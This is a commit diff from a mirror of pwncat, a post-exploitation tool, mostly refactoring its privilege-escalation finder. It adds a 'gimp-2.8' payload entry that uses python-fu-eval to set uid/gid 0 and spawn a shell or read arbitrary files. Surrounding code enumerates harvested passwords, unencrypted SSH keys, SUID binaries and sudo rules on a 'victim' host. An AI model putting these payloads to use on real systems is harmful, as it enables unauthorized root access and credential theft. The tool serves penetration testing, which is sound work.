1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-24 01:25:37 +01:00

Removed old logging code in privesc command. Slow and steady. D:

This commit is contained in:
Caleb Stewart 2020-06-17 19:46:05 -04:00
parent 96e4688dae
commit f1affd82c1
11 changed files with 237 additions and 146 deletions

View File

@ -11,7 +11,7 @@ from pwncat.commands.base import (
StoreConstOnce, StoreConstOnce,
StoreForAction, StoreForAction,
) )
from pwncat import util, privesc from pwncat import privesc
from pwncat.persist import PersistenceError from pwncat.persist import PersistenceError
from pwncat.util import State, console from pwncat.util import State, console
from colorama import Fore from colorama import Fore
@ -137,7 +137,7 @@ class Command(CommandDefinition):
read_pipe, chain, technique = pwncat.victim.privesc.read_file( read_pipe, chain, technique = pwncat.victim.privesc.read_file(
args.path, args.user, args.max_depth args.path, args.user, args.max_depth
) )
util.success(f"file successfully opened with {technique}!") console.log(f"file [green]opened[/green] with {technique}")
# Read the data from the pipe # Read the data from the pipe
shutil.copyfileobj(read_pipe, sys.stdout.buffer) shutil.copyfileobj(read_pipe, sys.stdout.buffer)
@ -147,7 +147,7 @@ class Command(CommandDefinition):
pwncat.victim.privesc.unwrap(chain) pwncat.victim.privesc.unwrap(chain)
except privesc.PrivescError as exc: except privesc.PrivescError as exc:
util.error(f"read file failed: {exc}") console.log(f"file write [red]failed[/red]")
elif args.action == "write": elif args.action == "write":
# Make sure the correct arguments are present # Make sure the correct arguments are present
if not args.path: if not args.path:
@ -159,8 +159,8 @@ class Command(CommandDefinition):
try: try:
with open(args.data, "rb") as f: with open(args.data, "rb") as f:
data = f.read() data = f.read()
except PermissionError: except (PermissionError, FileNotFoundError):
self.parser.error(f"no local permission to read: {args.data}") console.log(f"{args.data}: no such file or directory")
try: try:
# Attempt to write the data to the remote file # Attempt to write the data to the remote file
@ -168,47 +168,25 @@ class Command(CommandDefinition):
args.path, data, target_user=args.user, depth=args.max_depth, args.path, data, target_user=args.user, depth=args.max_depth,
) )
pwncat.victim.privesc.unwrap(chain) pwncat.victim.privesc.unwrap(chain)
util.success("file written successfully!") console.log("file write [green]succeeded[/green]")
except privesc.PrivescError as exc: except privesc.PrivescError as exc:
util.error(f"file write failed: {exc}") console.log(f"file write [red]failed[/red]: {exc}")
elif args.action == "escalate": elif args.action == "escalate":
try: try:
chain = pwncat.victim.privesc.escalate( chain = pwncat.victim.privesc.escalate(
args.user, depth=args.max_depth, exclude=args.exclude args.user, depth=args.max_depth, exclude=args.exclude
) )
ident = pwncat.victim.id
if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
util.progress(
"mismatched euid and uid; attempting backdoor installation."
)
for method in pwncat.victim.persist.available:
if not method.system or not method.local:
continue
try:
# Attempt to install this persistence method
pwncat.victim.persist.install(method.name)
if not method.escalate():
# The escalation didn't work, remove it and try the next
pwncat.victim.persist.remove(method.name)
continue
chain.append(
(
f"{method.format()} ([cyan]euid[/cyan] correction)",
"exit",
)
)
break
except PersistenceError:
continue
else:
util.warn("failed to correct uid/euid mismatch")
console.log("privilege escalation succeeded using:") console.log("privilege escalation succeeded using:")
for i, (technique, _) in enumerate(chain): for i, (technique, _) in enumerate(chain):
arrow = f"[yellow]\u2ba1[/yellow] " arrow = f"[yellow]\u2ba1[/yellow] "
console.log(f"{(i+1)*' '}{arrow}{technique}") console.log(f"{(i+1)*' '}{arrow}{technique}")
ident = pwncat.victim.id
if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
pwncat.victim.command_parser.dispatch_line("euid_fix")
pwncat.victim.reset() pwncat.victim.reset()
pwncat.victim.state = State.RAW pwncat.victim.state = State.RAW
except privesc.PrivescError as exc: except privesc.PrivescError as exc:
util.error(f"escalation failed: {exc}") console.log(f"privilege escalation [red]failed[/red]: {exc}")

View File

@ -779,6 +779,35 @@
} }
], ],
//------------------------------------------------------------------- //-------------------------------------------------------------------
"gimp-2.8": [
{
"type": "shell",
"payload": "{command}",
"args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'import os, pty;exec(\"try:\\n\\tos.setuid(0);\\nexcept:\\n\\tpass\\ntry:\\n\\tos.setgid(0)\\nexcept:\\n\\tpass\"); pty.spawn(\"{shell}\");gimp.exit()'"],
"exit": "exit"
},
{
"type": "read",
"stream": "raw",
"payload": "{command} 2>/dev/null",
"args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'import sys; sys.stdout.write(open(\"{lfile}\",\"rb\").read());gimp.exit()'"]
}
// This 'write' technique seems to fail because it cannot capture stdin, being a "subprocess".
// Since it can get a shell, this is not really an issue.
// {
// "type": "write",
// "stream":"raw",
// "payload": "{command} 2>/dev/null",
// "args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'import sys, shutil; shutil.copyfileobj(sys.stdin.buffer, open(\"{lfile}\",\"wb\"),length={length});gimp.exit()'"]
// },
// {
// "type": "write",
// "stream":"base64",
// "payload": "{command} 2>/dev/null",
// "args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'exec(\"\"\"import sys,base64\\nwith open(\"{lfile}\",\"wb\") as f:\\n\\tfor chunk in iter(lambda: sys.stdin.read(4), b\"\"):\\n\\t\\tf.write(base64.b64decode(chunk))\"\"\")\\ngimp.exit()'"]
// }
],
"gimp": [ "gimp": [
{ {
"type": "shell", "type": "shell",

View File

@ -71,21 +71,37 @@ class Finder:
if exclude is None: if exclude is None:
exclude = [] exclude = []
techniques = [] if target_user is None:
for method in self.methods: target_user = "[any]"
try:
if method.id in exclude:
continue
techniques.extend(method.enumerate())
except PrivescError:
pass
if target_user is not None: with Progress(
techniques = [ f"[cyan]{pwncat.victim.current_user.name}[/cyan]",
technique for technique in techniques if technique.user == target_user "",
] f"[yellow]{target_user}[/yellow]",
"",
"enumerating",
"",
"{task.fields[method]}",
"",
"{task.fields[step]}",
console=console,
auto_refresh=True,
transient=True,
) as progress:
task = progress.add_task("enumerating", method="initializing", step="")
techniques = []
for method in self.methods:
progress.update(task, method=str(method))
try:
if method.id in exclude:
continue
for tech in method.enumerate(progress, task):
if target_user == tech.user or target_user == "[any]":
techniques.append(tech)
except PrivescError:
pass
return techniques return techniques
def add_backdoor(self): def add_backdoor(self):
""" Add the backdoor user if it doesn't already exist. This is normally """ Add the backdoor user if it doesn't already exist. This is normally
@ -168,47 +184,70 @@ class Finder:
except UnicodeDecodeError: except UnicodeDecodeError:
data_printable = False data_printable = False
for method in self.methods: with Progress(
try: f"write [cyan]{filename}[/cyan] as [yellow]{target_user}[/yellow]",
found_techniques = method.enumerate(Capability.ALL) "",
for tech in found_techniques: "{task.fields[status]}",
if ( "",
tech.user == target_user "{task.fields[step]}",
and Capability.WRITE in tech.capabilities console=console,
): auto_refresh=True,
try: transient=True,
tech.method.write_file(filename, data, tech) ) as progress:
return chain
except PrivescError:
pass
if tech.user not in user_map:
user_map[tech.user] = []
user_map[tech.user].append(tech)
except PrivescError:
pass
shlvl = pwncat.victim.getenv("SHLVL") task = progress.add_task(
"writing", status="enumerating", step="initializing"
)
# We can't escalate directly to the target to read a file. So, try recursively for method in self.methods:
# against other users. try:
for user, techniques in user_map.items(): found_techniques = method.enumerate(progress, task, Capability.ALL)
if user == target_user: for tech in found_techniques:
continue progress.update(task, step=str(tech))
if self.in_chain(user, chain): if (
continue tech.user == target_user
try: and Capability.WRITE in tech.capabilities
tech, exit_command = self.escalate_single(techniques, shlvl) ):
chain.append((tech, exit_command)) progress.update(task, step=f"attempting {tech}")
except PrivescError: try:
continue tech.method.write_file(filename, data, tech)
try: return chain
return self.write_file( except PrivescError:
filename, data, safe, target_user, depth, chain, starting_user pass
) if tech.user not in user_map:
except PrivescError: user_map[tech.user] = []
tech, exit_command = chain[-1] user_map[tech.user].append(tech)
pwncat.victim.run(exit_command, wait=False) except PrivescError:
chain.pop() pass
shlvl = pwncat.victim.getenv("SHLVL")
progress.update(task, status="recursing", step="")
# We can't escalate directly to the target to read a file. So, try recursively
# against other users.
for user, techniques in user_map.items():
if user == target_user:
continue
if self.in_chain(user, chain):
continue
try:
progress.update(task, step=f"escalating to [green]{user}[/green]")
tech, exit_command = self.escalate_single(
techniques, shlvl, progress, task
)
chain.append((tech, exit_command))
except PrivescError:
continue
try:
progress.update(task, step=f"recursing to [green]{user}[/green]")
return self.write_file(
filename, data, safe, target_user, depth, chain, starting_user
)
except PrivescError:
tech, exit_command = chain[-1]
pwncat.victim.run(exit_command, wait=False)
chain.pop()
raise PrivescError(f"no route to {target_user} found") raise PrivescError(f"no route to {target_user} found")
@ -241,48 +280,68 @@ class Finder:
if depth is not None and len(chain) > depth: if depth is not None and len(chain) > depth:
raise PrivescError("max depth reached") raise PrivescError("max depth reached")
# Enumerate escalation options for this user with Progress(
user_map = {} f"write [cyan]{filename}[/cyan] as [yellow]{target_user}[/yellow]",
for method in self.methods: "",
try: "{task.fields[status]}",
found_techniques = method.enumerate(Capability.ALL) "",
for tech in found_techniques: "{task.fields[step]}",
if tech.user == target_user and ( console=console,
tech.capabilities & Capability.READ auto_refresh=True,
): transient=True,
try: ) as progress:
read_pipe = tech.method.read_file(filename, tech)
return (read_pipe, chain, tech)
except PrivescError:
pass
if tech.user not in user_map:
user_map[tech.user] = []
user_map[tech.user].append(tech)
except PrivescError:
pass
shlvl = pwncat.victim.getenv("SHLVL") task = progress.add_task(
"reading", status="enumerating", step="initializing"
)
# Enumerate escalation options for this user
user_map = {}
for method in self.methods:
try:
found_techniques = method.enumerate(progress, task, Capability.ALL)
for tech in found_techniques:
progress.update(task, step=str(tech))
if tech.user == target_user and (
tech.capabilities & Capability.READ
):
progress.update(task, step=f"attempting {tech}")
try:
read_pipe = tech.method.read_file(filename, tech)
return (read_pipe, chain, tech)
except PrivescError:
pass
if tech.user not in user_map:
user_map[tech.user] = []
user_map[tech.user].append(tech)
except PrivescError:
pass
# We can't escalate directly to the target to read a file. So, try recursively shlvl = pwncat.victim.getenv("SHLVL")
# against other users.
for user, techniques in user_map.items(): progress.update(task, status="recursing", step="")
if user == target_user:
continue # We can't escalate directly to the target to read a file. So, try recursively
if self.in_chain(user, chain): # against other users.
continue for user, techniques in user_map.items():
try: if user == target_user:
tech, exit_command = self.escalate_single(techniques, shlvl) continue
chain.append((tech, exit_command)) if self.in_chain(user, chain):
except PrivescError: continue
continue try:
try: progress.update(task, step=f"escalating to [green]{user}[/green]")
return self.read_file( tech, exit_command = self.escalate_single(techniques, shlvl)
filename, target_user, depth, chain, starting_user chain.append((tech, exit_command))
) except PrivescError:
except PrivescError: continue
tech, exit_command = chain[-1] try:
pwncat.victim.run(exit_command, wait=False) progress.update(task, step=f"recursing to [green]{user}[/green]")
chain.pop() return self.read_file(
filename, target_user, depth, chain, starting_user
)
except PrivescError:
tech, exit_command = chain[-1]
pwncat.victim.run(exit_command, wait=False)
chain.pop()
raise PrivescError(f"no route to {target_user} found") raise PrivescError(f"no route to {target_user} found")
@ -775,7 +834,9 @@ class Finder:
continue continue
try: try:
found_techniques = method.enumerate( found_techniques = method.enumerate(
Capability.SHELL | Capability.WRITE | Capability.READ progress,
task,
Capability.SHELL | Capability.WRITE | Capability.READ,
) )
for tech in found_techniques: for tech in found_techniques:
progress.update(task, step=str(tech)) progress.update(task, step=str(tech))
@ -949,7 +1010,7 @@ class BaseMethod:
raise PrivescError(f"required remote binary not found: {binary}") raise PrivescError(f"required remote binary not found: {binary}")
def enumerate( def enumerate(
self, capability: int = Capability.ALL self, progress: Progress, task: Any, capability: int = Capability.ALL
) -> Generator[Technique, None, None]: ) -> Generator[Technique, None, None]:
""" """
Enumerate all possible techniques known and possible on the remote host for Enumerate all possible techniques known and possible on the remote host for

View File

@ -27,7 +27,9 @@ class Method(BaseMethod):
id = "enum.passwords" id = "enum.passwords"
BINARIES = ["su"] BINARIES = ["su"]
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]: def enumerate(
self, progress, task, capability: int = Capability.ALL
) -> List[Technique]:
""" """
Enumerate capabilities for this method. Enumerate capabilities for this method.
@ -43,6 +45,9 @@ class Method(BaseMethod):
techniques = [] techniques = []
for fact in pwncat.victim.enumerate.iter(typ="configuration.password"): for fact in pwncat.victim.enumerate.iter(typ="configuration.password"):
progress.update(task, step=str(fact.data))
if fact.data.value is None: if fact.data.value is None:
continue continue
@ -69,8 +74,6 @@ class Method(BaseMethod):
seen_password.append(fact.data.value) seen_password.append(fact.data.value)
return techniques
def execute(self, technique: Technique) -> bytes: def execute(self, technique: Technique) -> bytes:
""" """
Escalate to the new user and return a string used to exit the shell Escalate to the new user and return a string used to exit the shell

View File

@ -14,7 +14,9 @@ class Method(BaseMethod):
id = "logged-passwords" id = "logged-passwords"
BINARIES = ["su"] BINARIES = ["su"]
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]: def enumerate(
self, progress, task, capability: int = Capability.ALL
) -> List[Technique]:
""" """
Enumerate capabilities for this method. Enumerate capabilities for this method.
@ -24,9 +26,10 @@ class Method(BaseMethod):
# We only provide shell capability # We only provide shell capability
if Capability.SHELL not in capability: if Capability.SHELL not in capability:
return [] return
for fact in pwncat.victim.enumerate.iter(typ="system.user.password"): for fact in pwncat.victim.enumerate.iter(typ="system.user.password"):
progress.update(task, step=str(fact.data))
yield Technique(fact.data.user.name, self, fact.data, Capability.SHELL) yield Technique(fact.data.user.name, self, fact.data, Capability.SHELL)
def execute(self, technique: Technique) -> bytes: def execute(self, technique: Technique) -> bytes:

View File

@ -14,7 +14,9 @@ class Method(BaseMethod):
id = "enum.privkeys" id = "enum.privkeys"
BINARIES = ["ssh"] BINARIES = ["ssh"]
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]: def enumerate(
self, progress, task, capability: int = Capability.ALL
) -> List[Technique]:
""" """
Enumerate capabilities for this method. Enumerate capabilities for this method.
@ -33,6 +35,7 @@ class Method(BaseMethod):
return return
for fact in pwncat.victim.enumerate.iter(typ="system.user.private_key"): for fact in pwncat.victim.enumerate.iter(typ="system.user.private_key"):
progress.update(task, step=str(fact.data))
if not fact.data.encrypted: if not fact.data.encrypted:
yield Technique(fact.data.user.name, self, fact.data, Capability.SHELL) yield Technique(fact.data.user.name, self, fact.data, Capability.SHELL)

View File

@ -17,23 +17,27 @@ class Method(BaseMethod):
id = "screen-suid" id = "screen-suid"
BINARIES = [] BINARIES = []
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]: def enumerate(
self, progress, task, capability: int = Capability.ALL
) -> List[Technique]:
""" Find all techniques known at this time """ """ Find all techniques known at this time """
# If we have ran this before, don't bother running it # If we have ran this before, don't bother running it
if Capability.SHELL not in capability: if Capability.SHELL not in capability:
return [] return
# Grab all possibly vulnerable screen version # Grab all possibly vulnerable screen version
# It has to be SUID for this to work. # It has to be SUID for this to work.
facts = [ facts = []
f for fact in pwncat.victim.enumerate("screen-version"):
for f in pwncat.victim.enumerate("screen-version") progress.update(task, step=str(fact.data))
if f.data.vulnerable and f.data.perms & 0o4000 if fact.data.vulnerable and fact.data.perms & 0o4000:
] facts.append(fact)
for fact in facts: for fact in facts:
progress.update(task, step=str(fact.data))
# Carve out the version of screen # Carve out the version of screen
version_output = ( version_output = (
pwncat.victim.run(f"{fact.data.path} -v").decode("utf-8").strip() pwncat.victim.run(f"{fact.data.path} -v").decode("utf-8").strip()

View File

@ -16,11 +16,15 @@ class Method(BaseMethod):
id = "setuid" id = "setuid"
BINARIES = ["find"] BINARIES = ["find"]
def enumerate(self, caps: Capability = Capability.ALL) -> List[Technique]: def enumerate(
self, progress, task, caps: Capability = Capability.ALL
) -> List[Technique]:
""" Find all techniques known at this time """ """ Find all techniques known at this time """
for suid in pwncat.victim.enumerate.iter("suid"): for suid in pwncat.victim.enumerate.iter("suid"):
progress.update(task, step=str(suid.data))
try: try:
binary = pwncat.victim.gtfo.find_binary(suid.data.path, caps) binary = pwncat.victim.gtfo.find_binary(suid.data.path, caps)
except BinaryNotFound: except BinaryNotFound:

View File

@ -14,11 +14,12 @@ class Method(BaseMethod):
id = "su" id = "su"
BINARIES = ["su"] BINARIES = ["su"]
def enumerate(self, capability=Capability.ALL) -> List[Technique]: def enumerate(self, progress, task, capability=Capability.ALL) -> List[Technique]:
current_user = pwncat.victim.whoami() current_user = pwncat.victim.whoami()
for user, info in pwncat.victim.users.items(): for user, info in pwncat.victim.users.items():
progress.update(task, step=str(user))
if user == current_user: if user == current_user:
continue continue
if info.password is not None or current_user == "root": if info.password is not None or current_user == "root":

View File

@ -16,12 +16,16 @@ class Method(BaseMethod):
id = "sudo" id = "sudo"
BINARIES = ["sudo"] BINARIES = ["sudo"]
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]: def enumerate(
self, progress, task, capability: int = Capability.ALL
) -> List[Technique]:
""" Find all techniques known at this time """ """ Find all techniques known at this time """
rules = [] rules = []
for fact in pwncat.victim.enumerate("sudo"): for fact in pwncat.victim.enumerate("sudo"):
progress.update(task, step=str(fact.data))
# Doesn't appear to be a user specification # Doesn't appear to be a user specification
if not fact.data.matched: if not fact.data.matched:
continue continue
@ -52,6 +56,7 @@ class Method(BaseMethod):
for rule in rules: for rule in rules:
for method in pwncat.victim.gtfo.iter_sudo(rule.command, caps=capability): for method in pwncat.victim.gtfo.iter_sudo(rule.command, caps=capability):
progress.update(task, step=str(rule))
user = "root" if rule.runas_user == "ALL" else rule.runas_user user = "root" if rule.runas_user == "ALL" else rule.runas_user
yield Technique(user, self, (method, rule), method.cap) yield Technique(user, self, (method, rule), method.cap)

View File

@ -578,7 +578,7 @@ class Victim:
with self.open("/proc/1/comm", "r") as filp: with self.open("/proc/1/comm", "r") as filp:
init = filp.read() init = filp.read()
except (FileNotFoundError, PermissionError): except (FileNotFoundError, PermissionError):
init = None init = "unknown"
if "systemd" in init: if "systemd" in init:
self.host.init = util.Init.SYSTEMD self.host.init = util.Init.SYSTEMD